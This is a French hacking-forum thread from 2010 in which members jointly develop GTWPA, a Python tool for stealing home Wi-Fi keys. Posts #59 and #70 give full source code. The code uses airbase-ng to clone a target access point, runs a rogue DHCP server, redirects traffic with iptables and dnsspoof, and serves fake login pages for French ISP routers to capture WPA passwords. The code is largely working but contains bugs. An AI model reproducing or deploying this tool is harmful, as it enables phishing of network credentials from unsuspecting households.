Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#51 10-10-2010 14:14:14

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

Dack a écrit :

Quelqu'un s'y connaitrait pour mettre en place un serveur IRC ? car j'arrive pas à comprendre comment le mettre en place

Moi non plus je n'y connais rien ...

Les liens symboliques sont ni plus ni moins que les raccourci sous windows.
On utilisera :

ln /opt/GTWPA/gtwpa.py /usr/bin/gtwpa

Comme /usr/bin est dans le la variable d'environement "path", on pourra appeler gtwpa dans la console de n'importe quel dossier wink

Si j'avais mis :

ln /opt/GTWPA/gtwpa.py /usr/bin/tagada

Le fait de taper dans la console la commande tagada aurait lancer gtwpa

Dernière modification par Squaks (10-10-2010 14:15:39)


Sharkoff

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#52 10-10-2010 14:17:32

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

Ah je vois, j'avais déjà lu ça et j'avais trouvé à très intéressant et pratique :-D

Bon, je m'occupe de mon script alors, j'ai toutes les cartes en main !


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#53 10-10-2010 14:19:42

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

Je propose que tu t'occupe de toute la partie RogueAP et de la GUI.

Et moi de la partie arborescence, et apache.

Dis moi ce que t'en pense wink

Dernière modification par Squaks (10-10-2010 14:21:13)


Sharkoff

Hors Ligne

#54 10-10-2010 14:31:25

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

Sur le script Python ? Ecoute oui, dans l'absolu donc tu modifie :

- La fonction install
- Les logs/fichiers conf d'apache2

Et moi je réécris le tout pour que ça rentre dans tout ça ?


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#55 10-10-2010 14:32:27

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

Par contre je propose qu'on rende le script totalement fini et fonctionnel avant que je me lance dans la G.U.I car ça risque de prendre un peu de temps !


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#56 10-10-2010 14:42:00

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

Carto_ a écrit :

Sur le script Python ? Ecoute oui, dans l'absolu donc tu modifie :

- La fonction install
- Les logs/fichiers conf d'apache2

Et moi je réécris le tout pour que ça rentre dans tout ça ?

Les fichiers conf et les logs sont ok et la fonction install n'existera plus puisque on fera un .deb ...

Voila ce que j'ai codé


Sharkoff

Hors Ligne

#57 10-10-2010 14:52:49

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

Tu peux le poster ou pas que je jette un zeuil dessus smile


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#58 10-10-2010 14:58:08

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

Carto_ a écrit :

Sur le script Python ? Ecoute oui, dans l'absolu donc tu modifie :

- La fonction install
- Les logs/fichiers conf d'apache2

Et moi je réécris le tout pour que ça rentre dans tout ça ?

Les fichiers conf et les logs sont ok et la fonction install n'existera plus puisque on fera un .deb ...

Voila le script que j'ai pour l'instant --> Megaupload

Tu mets l'archive dans /opt apres tu le decompresse :

tar -xf gtwpa.tar.gz

Apres tu execute gtwpa.py wink


Sharkoff

Hors Ligne

#59 10-10-2010 15:18:45

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

Arf,  ton fichier n'est pas dispo, tu as pas un ftp de base sur lequel le mettre  ?

--

Sinon voilà ce que j'ai un peu modifié mais avant d'avoir ton script donc c'est pas du tout V.final.

GTWPA.py

#!/usr/bin/env python
# -*- coding: Utf-8 -*-

# VERSION & AUTEUR
__app__ = 'GTWPA'
__verions__ = '1.0'
__author__ = 'Carto_, Squacks and others'


from GTWPA_FUNCTIONS import * # We import the file where are the fonctions used by the script

# Global menu of the program
def menu():
	"Menu General du script"
	print "1. Launch GTWPA"
	print "2. Update Fake Pages"
	print "3. Quit and restore"
	print "Your Choice ?"
	global SECTION
	SECTION = input()

checkRoot()
visuel_depart()
menu()
while SECTION != 2:
	
	

        # LAUNCH GTWPA
	if SECTION == 1:
	    visuel_depart()
	    print "-- Choosing the Boxe --"
            recup_boxe()
            print "-- Choosing the Configuration --"
    	    recup_config()
	    print "-- Please wait, the launching could take some minutes --"
    	    sleep(2)
    	    rogue_ap_launch()
	    sleep(2)
    	    dhcp_launch_rogue()
	    sleep(2)
    	    dnsspoof_launch()
    	    sleep(2)
    	    visuel_depart()
	    menu()



	    
        # Update fake pages
	elif SECTION == 2:
	    visuel_depart()
	    print "UPDATE FAKE PAGES"
	    print "WILL BE AVALIABLE SOON"
	    menu()

        # Bad Choice
	else :
	    visuel_depart()
	    print "Bad Choice, try again !"
	    menu()


# LEAVING THE TOOL
visuel_depart()
print "-- Thanks to have used this tool, do not hesitate to make retunrs !"
remise_zero()
sysexit()

Et GTWPA_FUNCTIONS.py

#### FILE CONTAINING FUNCTIONS FOR GTWPA.PY ####


#!/usr/bin/env python
# -*- coding: Utf-8 -*-

# Import CMD (BT4 R1)

import os
from sys import exit as sysexit
from commands import getoutput
from threading import Thread
from time import sleep
from os import chdir
chdir("/opt/")


def visuel_depart():
    os.system("clear")
    print"-----------------------------------------------------\n"
    print"---_____________________------____________--_____----\n"
    print"--/--_____/\__----___/--\----/--\______---\/--_--\---\n"
    print"-/---\--___--|----|--\---\/\/---/|-----___/--/_\--\--\n"
    print"-\----\_\--\-|----|---\--------/-|----|--/----|----\-\n"
    print"--\______--/-|____|----\__/\--/--|____|--\____|__--/-\n"
    print"---------\/-----------------\/-------------------\/--\n"
    print"-----------------------------------------------------\n"


	






def airBase(BSSID, ESSID, CHANNEL, IFACE):
    os.system("modprobe tun 2>&1 1>& /dev/null")
    os.system("xterm -e airbase-ng -a %s -e '%s' -c %s %s &>/dev/null &" % (BSSID, ESSID, CHANNEL, IFACE))
    sleep(2)





def checkRoot():
    "Fonction verifiant que l'utilisateur est bien root"
    if getoutput('whoami') != 'root':
        print("You Need To Be Root !")
        sysexit()






def recup_boxe():

    global boxe_choisie
    print "What kind of box do you want to Pwned today ? "
    print "1. Numericable"
    print "2. Freebox"
    print "3. Livebox"
    print "4. SFR-Neufbox"
    print "5. Tele2box SpeedTouch"
    print "6. Neufbox Originale"
    print "7. Not Avaliable Yet"
    box_choisie = input()
    
    if box_choisie == 1:
	print "Installation of : Boxe Numericable"
	os.system("cp /opt/GTWPA/server/backup/numericable.tar.gz /opt/GTWPA/server/rogue/")
	chdir("/opt/GTWPA/server/rogue/")
	os.system("tar -xvzf numericable.tar.gz")
	os.system("chmod -R 777 /opt/GTWPA/server/rogue")
	os.system("cd /opt/GTWPA/")
	print "Installation: OK !"
        os.system("service apache2 start")
	chdir("/opt/GTWPA/")
	
    elif box_choisie == 2:
	print "Installation of : Freebox"
	os.system("cp /opt/GTWPA/server/backup/freebox.tar.gz /opt/GTWPA/server/rogue/")
	chdir("/opt/GTWPA/server/rogue/")
	os.system("tar -xvzf freebox.tar.gz")
	os.system("chmod -R 777 /opt/GTWPA/server/rogue")
	os.system("cd /opt/GTWPA/")
	print "Installation: OK !"
        os.system("service apache2 start")
	chdir("/opt/GTWPA/")
    elif box_choisie == 3:
	print "Installation of : Livebox"
	os.system("cp /opt/GTWPA/server/backup/livebox.tar.gz /opt/GTWPA/server/rogue/")
	chdir("/opt/GTWPA/server/rogue/")
	os.system("tar -xvzf livebox.tar.gz")
	os.system("chmod -R 777 /opt/GTWPA/server/rogue")
	os.system("cd /opt/GTWPA/")
	print "Installation: OK !"
        os.system("service apache2 start")
	chdir("/opt/GTWPA/")
        
    elif box_choisie == 4:
	print "Installation of : SFR-NeufBox"
	os.system("cp /opt/GTWPA/server/backup/sfrneufbox.tar.gz /opt/GTWPA/server/rogue/")
	chdir("/opt/GTWPA/server/rogue/")
	os.system("tar -xvzf sfrneufbox.tar.gz")
	os.system("chmod -R 777 /opt/GTWPA/server/rogue")
	os.system("cd /opt/GTWPA/")
	print "Installation: OK !"
        os.system("service apache2 start")
	chdir("/opt/GTWPA/")
        
    elif box_choisie == 5:
	print "Installation of : Tele2Box SpeedTouch"
	os.system("cp /opt/GTWPA/server/backup/tele2box.tar.gz /opt/GTWPA/server/rogue/")
	chdir("/opt/GTWPA/server/rogue/")
	os.system("tar -xvzf tele2box.tar.gz")
	os.system("chmod -R 777 /opt/GTWPA/server/rogue")
	os.system("cd /opt/GTWPA/")
	print "Installation: OK !"
        os.system("service apache2 start")
	chdir("/opt/GTWPA/")
    elif box_choisie == 6:
	print "Installation of : Original NeufBox"
	os.system("cp /opt/GTWPA/server/backup/neufbox-o.tar.gz /opt/GTWPA/server/rogue/")
	chdir("/opt/GTWPA/server/rogue/")
	os.system("tar -xvzf neufbox-o.tar.gz")
	os.system("chmod -R 777 /opt/GTWPA/server/rogue")
	os.system("cd /opt/GTWPA/")
        os.system("service apache2 start")
	print "Installation: OK !"
	chdir("/opt/GTWPA/")
        
    elif box_choisie == 7:
	print "Installation of : NOT AVALIABLE YET"
	chdir("/opt/GTWPA/")
        
    else :
	print "Bad Entry, tray again"
	box_choisie = input()



def recup_config ():
    global IFACE
    global CHANNEL
    global ESSID
    global BSSID
    IFACE = raw_input("\n-- Interface used by airbase-ng ? (monitor enabled)\n>>> ")
    while IFACE not in getoutput('iwconfig'):
        print("The interface you specified ( %s ) was not found, please plug it and try again\n" % IFACE)
        IFACE = raw_input("\n-- Interface used by airbase-ng ? (monitor enabled)\n>>> ")
    # Le BSSID de la Rogue_AP
    BSSID = raw_input("\nBSSID ? (Leave blank to let the same)\n>>> ")
    while (len(BSSID) != 17) and (BSSID.count(':') != 5):
        if BSSID == '':
            BSSID = getoutput('macchanger -s '+IFACE+" | awk '{print $3}'")
            break
        print("BSSID %s is not a valid BSSID" % BSSID)
        BSSID = raw_input("\nBSSID ? (Leave blank to let the same)\n>>> ")
    # L'ESSID de la Rogue_AP
    ESSID = raw_input("\ ESSID for your AP ?\n>>> ")
    while ESSID == '':
        print("ESSID Is Needed")
        ESSID = raw_input("ESSID for your AP ?\n>>> ")

    # Le   Channel de la Rogue_AP
    CHANNEL = raw_input("\n Specify A Channel ?\n>>> ")
    while not CHANNEL.isdigit() and not (0 < int(CHANNEL) < 14):
        print("Channel %s is not a valid one(1-15)")
        CHANNEL = raw_input("Specify A Channel ?\n>>> ")




def rogue_ap_launch():
    global BSSID
    global ESSID
    global CHANNEL
    global IFACE
    print("Launching airbase-ng in another windows")
    airBase(BSSID, ESSID, CHANNEL, IFACE)
    sleep(3)
    # Configuration de l'interface at0 creee par airbase-ng
    os.system('modprobe tun && \
               ifconfig at0 up && \
               ifconfig at0 192.168.1.129 netmask 255.255.255.128 && \
               ifconfig at0 mtu 1500 && \
               route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129')
    sleep(2)



def dhcp_launch_rogue():
    "Lancement du serveur DHCP"
    print("\n Launching DHCP3-Server in another windows")
    os.system("xterm -hold -e dhcpd3 -d -f -cf /opt/GTWPA/conf/dhcpd.conf -pf /opt/GTWPA/logs/dhcpd.pid at0 &> /dev/null &")
    os.system("iptables --flush")
    os.system("iptables --table nat --flush")
    os.system("iptables --delete-chain")
    os.system("iptables --append FORWARD --in-interface at0 -j ACCEPT")
    os.system("iptables -t nat -A PREROUTING -p udp -j DNAT --to 208.67.222.222")
    os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.1.129:80")
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")





def dnsspoof_launch():
    print "Launching dnsspoof in another windows"
    os.system("xterm -hold -e dnsspoof -i at0 -f /opt/GTWPA/conf/dns.txt &> /dev/null &")




def remise_zero():
    print(" The tool will close in few second, and we restore your original configuration ")
    dhcp_pid = getoutput("ps aux | grep -v grep | grep 'dhcpd -cf dhcpd.conf' | awk '{print $2}'")
    airbase_pid = getoutput("ps aux | grep -v grep | grep airbase-ng | awk '{print $2}'")
    os.system('kill -9 %s && killall airbase-ng && \
               iptables -t nat -F && iptables -t nat -X && iptables -t nat -Z && \
               iptables-restore < iptables.rules && \
               echo 0 > /proc/sys/net/ipv4/ip_forward' % dhcp_pid)
    os.remove(os.getcwd()+'/dhcpd.conf')
    os.remove(os.getcwd()+'/iptables.rules')
    sysexit()


###  END FONCTIONS ###

Comme tu peux le voir j'ai viré la fonction install, ainsi quand on exécute le script l'arborescence doit d'ores et déjà avoir été créée (par l'installation du .deb).

L'exécution du script demande :

- dns.txt dans /opt/GTWPA/conf
- dhcpd.conf dans /opt/GTWPA/conf

Il crée dans /opt/GTWPA/logs le dhcpd.pid

- Il demande quelle boxe on veut choisir, va chercher l'archive .tar.gz dans /opt/GTWPA/server/backup
- Il la place dans /opt/GTWPA/server/rogue
- Il lance apache2 - mais sans la bonne config puisque je n'ai pas encore tes fichiers confs ):


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#60 10-10-2010 15:54:34

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

Je l'ai upload sur mediafire


Sharkoff

Hors Ligne

#61 10-10-2010 16:25:13

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

Parfait je viens de regarder ça, ça claque.
Je rajoute donc les différentes fonctions visant au lancement effectif de la Rogue AP

Je rajoute aussi dans /GTWPA/conf  : dns.txt et dhcpd.conf

Et puis je l'essaye sur un LiveCD pour vérifier que tout est fonctionnel.


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#62 10-10-2010 16:40:04

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

Oki smile

Dernière modification par Squaks (10-10-2010 16:41:08)


Sharkoff

Hors Ligne

#63 10-10-2010 16:42:10

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

Bon, j'ai essayé, tout fonctionne sauf apache2. J'ai quelques erreurs qui viennent de ton fichier apache2.conf et certains des "mods" apparemment. Ça ne fais pas ça chez toi ?

Sinon la création de la Rogue est OK, les fichiers sont bien décompressés et le client a bien une IP et tout le bataclan :-)


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#64 10-10-2010 16:54:19

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

Apparemment c'est :

Ligne 161: invalid command 'Order'

et quand j'ai viré ces lignes il me met "invalid command "xSym dans alias.load


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#65 10-10-2010 16:54:31

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

Tu peux renvoyer le script stp ? smile


Sharkoff

Hors Ligne

#66 10-10-2010 17:14:04

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

Non moi ca ne me le fais pas ... Tu as utilisé quelle version de backtrack ? Il y a quelle version d'apache dessus ?


Sharkoff

Hors Ligne

#67 10-10-2010 17:21:11

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

BT4 R1, avec la version d'apache qui est dessus (faut que je regarde laquelle tiens).

Je vais voir si j'ai la dernière et je réessaye, je t'envoie le script, ouaip', je le fous sur mediafire


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#68 10-10-2010 20:03:43

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

Essaye le script en LiveCB BT4 R1 tu auras des erreurs au niveau de la config d'apache2


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#69 10-10-2010 21:26:19

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

Je verrais ca dans la semaine, tu peux reposter les script avec tes modifs ?


Sharkoff

Hors Ligne

#70 10-10-2010 21:53:32

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

GTWPA.PY

(Rajout d'une option "quitter")

#!/usr/bin/python

__app__ = 'GTWPA'
__version__ = '1.0'
__author__ = 'Dack, Carto_, Squaks, M1ck3y'

import os
from GTWPA_FUNCTIONS import *
from commands import getoutput


checkRoot()
if __name__ == "__main__":
	os.system("clear")
	print("-------------------------")
	print("What you want to do ?")
	print("    1-Update")
	print("    2-Setup rogue")
	print("    3-Start apache server")
	print("    4-Stop apache server")
	print("    5-Test apache server")
	print "    6-Quitter"
	print("-------------------------")
	c = input()
	if c == 1:
		update()
	elif c == 2:
		setupRogue()
	elif c == 3:
		startApache()
	elif c == 4:
		stopApache()
	elif c == 5:
		testApache()
	elif c == 6:
		stop_all()
	else:
		pass

GTWPA_FUNCTIONS.PY

#### FILE CONTAINING FUNCTIONS FOR GTWPA.PY ####


#!/usr/bin/env python
# -*- coding: Utf-8 -*-

# Import CMD (BT4 R1)

import os
from sys import exit as sysexit
from commands import getoutput
from threading import Thread
from time import sleep
from os import chdir
chdir("/opt/")

##############################
# MISE A JOUR DES FAKE PANEL #
##############################
def update():
	print "Fonction no avaliable yet"
	pass

##############################
# RECHERCHE DES FAKE PANEL   #
##############################
def searchPanel():
	panel_list = getoutput("ls /opt/GTWPA/server/backup").split("\n")
	return panel_list

##############################
# DEMARAGE DU SERVEUR APACHE #
##############################
def startApache():
	os.system("apache2ctl -k stop")
	os.system("sleep 1")
	os.system("apache2ctl -k start -f /opt/GTWPA/conf/apache2/apache2.conf")

##############################
# ARRET DU SERVEUR APACHE    #
##############################
def stopApache():
	os.system("apache2ctl -k stop")

##############################
# TEST DU SERVEUR APACHE     #
##############################
def testApache():
	os.system("firefox 127.0.0.1")

##############################
# CONFIG DU FAKE PANEL       #
##############################
def setupRogue():
	panel_list = searchPanel()
	print("Fake panels available :")
	i=1
	for panel in panel_list:
		print("    " + str(i) + "-" + panel)
		i=i+1
	x = input("Fake panel >> ")
	selected_panel = panel_list[x-1]
	os.system("rm -R /opt/GTWPA/server/rogue/*")
	os.system("cp /opt/GTWPA/server/backup/" + selected_panel + " /opt/GTWPA/server/rogue")
	old_dir = getoutput("pwd")
	os.chdir("/opt/GTWPA/server/rogue/")
	os.system("tar -xf " + selected_panel)
	os.chdir(old_dir)
	essid = raw_input("Essid >> ")
	os.system("echo " + essid + " > /opt/GTWPA/server/rogue/essid.txt")
	bssid = raw_input("Bssid >> ")
	os.system("echo " + bssid + " > /opt/GTWPA/server/rogue/bssid.txt")
	
	recup_config()
	
	rogue_ap_launch()
	
	dhcpd_launch_rogue()
	
	dnsspoof_launch()
	
	

##############################
# DEMARAGE D'AIRBASE-NG      #
##############################
def startAirbase():
	os.system("modprobe tun 2>&1 1>& /dev/null")
	os.system("xterm -e airbase-ng -a %s -e '%s' -c %s %s &>/dev/null &" % (BSSID, ESSID, CHANNEL, IFACE))
	sleep(2)

##############################
# ARRET D'AIRBASE-NG         #
##############################
def stopAirbase():
	os.system("killall -9 airbase-ng")


##############################
# CONFIG DE LA ROGUE         #
##############################
def recup_config ():
    global IFACE
    global CHANNEL
    global ESSID
    global BSSID
    IFACE = raw_input("\n-- Interface used by airbase-ng ? (monitor enabled)\n>>> ")
    while IFACE not in getoutput('iwconfig'):
        print("The interface you specified ( %s ) was not found, please plug it and try again\n" % IFACE)
        IFACE = raw_input("\n-- Interface used by airbase-ng ? (monitor enabled)\n>>> ")
    # Le BSSID de la Rogue_AP
    BSSID = raw_input("\nBSSID ? (Leave blank to let the same)\n>>> ")
    while (len(BSSID) != 17) and (BSSID.count(':') != 5):
        if BSSID == '':
            BSSID = getoutput('macchanger -s '+IFACE+" | awk '{print $3}'")
            break
        print("BSSID %s is not a valid BSSID" % BSSID)
        BSSID = raw_input("\nBSSID ? (Leave blank to let the same)\n>>> ")
    # L'ESSID de la Rogue_AP
    ESSID = raw_input("\ ESSID for your AP ?\n>>> ")
    while ESSID == '':
        print("ESSID Is Needed")
        ESSID = raw_input("ESSID for your AP ?\n>>> ")

    # Le   Channel de la Rogue_AP
    CHANNEL = raw_input("\n Specify A Channel ?\n>>> ")
    while not CHANNEL.isdigit() and not (0 < int(CHANNEL) < 14):
        print("Channel %s is not a valid one(1-15)")
        CHANNEL = raw_input("Specify A Channel ?\n>>> ")

	



##############################
#  VERIF USR BIEN ROOT       #
##############################
def checkRoot():
    "Fonction verifiant que l'utilisateur est bien root"
    if getoutput('whoami') != 'root':
        print("You Need To Be Root !")
        sysexit()






##############################
#  STARTING ROGUE            #
##############################
def rogue_ap_launch():
    global BSSID
    global ESSID
    global CHANNEL
    global IFACE
    print("Launching airbase-ng in another windows")
    startAirbase(BSSID, ESSID, CHANNEL, IFACE)
    sleep(3)
    # Configuration de l'interface at0 creee par airbase-ng
    os.system('modprobe tun && \
               ifconfig at0 up && \
               ifconfig at0 192.168.1.129 netmask 255.255.255.128 && \
               ifconfig at0 mtu 1500 && \
               route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129')
    sleep(2)

def dhcp_launch_rogue():
    "Lancement du serveur DHCP"
    print("\n Launching DHCP3-Server in another windows")
    os.system("xterm -hold -e dhcpd3 -d -f -cf /opt/GTWPA/conf/dhcpd.conf -pf /opt/GTWPA/logs/dhcpd.pid at0 &> /dev/null &")
    os.system("iptables --flush")
    os.system("iptables --table nat --flush")
    os.system("iptables --delete-chain")
    os.system("iptables --append FORWARD --in-interface at0 -j ACCEPT")
    os.system("iptables -t nat -A PREROUTING -p udp -j DNAT --to 208.67.222.222")
    os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.1.129:80")
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")





def dnsspoof_launch():
    print "Launching dnsspoof in another windows"
    os.system("xterm -hold -e dnsspoof -i at0 -f /opt/GTWPA/conf/dns.txt &> /dev/null &")


##############################
# QUITTER LE TOOL PROREMENT  #
##############################

def stop_all():
    print(" The tool will close in few second, and we restore your original configuration ")
    dhcp_pid = getoutput("ps aux | grep -v grep | grep 'dhcpd -cf dhcpd.conf' | awk '{print $2}'")
    airbase_pid = getoutput("ps aux | grep -v grep | grep airbase-ng | awk '{print $2}'")
    os.system('kill -9 %s && killall airbase-ng && \
               iptables -t nat -F && iptables -t nat -X && iptables -t nat -Z && \
               iptables-restore < iptables.rules && \
               echo 0 > /proc/sys/net/ipv4/ip_forward' % dhcp_pid)
    os.remove(os.getcwd()+'/dhcpd.conf')
    os.remove(os.getcwd()+'/iptables.rules')
    sysexit()






###  END FONCTIONS ###

--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#71 10-10-2010 22:12:10

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

Juste un petit hic, au moment de lancer airbase-ng, tu redemande l'essid et le bssid alors qu'on l'a deja demandé avant dans setupRogue()

Sinon je viens de penser à un "concept" un peu plus avancé. On pourrais faire GTWPA sous forme de shell. Je m'explique : une console où on tape les commande genre :

set essid Livebox-ED46
set bssid 00:11:22:33:44:55
start

Ca pourrais faire plus pro non ?


Sharkoff

Hors Ligne

#72 10-10-2010 22:39:12

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

C'est pas du tout une mauvaise idée. Mais sans vouloir de freiner, je suis chaud, est-ce qu'il vaut mieux pas qu'on finisse le tool (on en est pas loin) et après on se lance dans une version 1.1 encore plus pro ? Au moins on aura quelque chose de fonctionnel pour ensuite l'améliorer de jours en jours ?

Sinon je vais faire mes recherches de ce coté parce que ça pourrait être nettement plus pro en effet.

Pour l'histoire des bugs apache2, je fais aussi mes recherches et on se tient au jus dès qu'on a réussi à virer les bugs.
Pour le doublon avec bssid et essid faut que je vire ça, j'ai pas fais attention.


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#73 10-10-2010 22:50:18

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : [PRO]GTWPA (Developpers)

C'est toi qui vois ... Il faudrait faire un bilan de ce qui reste à faire, parce que la, sans mentir, je suis pommé lol


Sharkoff

Hors Ligne

#74 10-10-2010 23:17:31

Carto_
Membre V.I.P.
Inscription : 16-01-2010
Messages : 206

Re : [PRO]GTWPA (Developpers)

BILAN DES OPÉRATIONS DES FORCES ALLIÉES :

- Le SCRIPT GTWPA est globalement fonctionnel EXCEPTION FAITE DES POINTS QUI SUIVENT :

     * Erreurs apache2 à résoudre. Faire nos derniers tests sur des LiveCD BT4 R1 pour vérifier compatibilité absolue
     * Archives .tar.gz des boxes sur un FTP unique, bien nommées une bonne fois pour toute pour pouvoir créer fonction update des boxes
     * Empaquetage du tout dans un .deb qui créera en s'installant l'arborescence dans /opt/ et qui y installera les différents fichiers utilisés pour notre tool
     * ? Nothing else ?

Une fois ces différents point vus et les problèmes afférents résolus, alors nous posterons le tool, et demanderons des retours sur les différents essais des gens, pour effectuer les dernières petites modifications.

Une fois tout cela fait, on passe à l'étape suivante: réécriture du tool pour un appel dynamique de l'utilisateur dans un shell, une version totalement professionnelle et mise en place progressive d'un G.U.I eventuel.

Étape 1 - Finition du tool : jusqu'au DIMANCHE 17 Octobre
Étape 2 - Tests par des utilisateurs et corrections des petits bugs : jusqu'au JEUDI 21 Octobre
Étape 3 - Lancement du re-codage d'une "VERSION PRO", échéancier à venir.




ÇA TE VA ? :-D


--
Regarde au-delà de ce que tu vois
--

Hors Ligne

#75 10-10-2010 23:43:58

berret
Membre Hyperactif
Inscription : 20-06-2010
Messages : 61

Re : [PRO]GTWPA (Developpers)

Je code python, la source m'intéresse si vous pouvez la poster.. smile merci

beau projet !

EDIT: dsl j'avais pas vue qu'il y avait plus d'une pages !

Dernière modification par berret (12-10-2010 04:30:33)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
Épinglée :
203 62870 07-10-2012 14:39:37 par 39max
Je recherche GTWPA par Linquant
4 2112 14-04-2011 12:25:15 par Linquant
0 6170 08-12-2010 22:50:28 par M1ck3y
GTWPA par sardineeMule
4 2211 27-12-2008 16:46:11 par sardineeMule

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.032 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]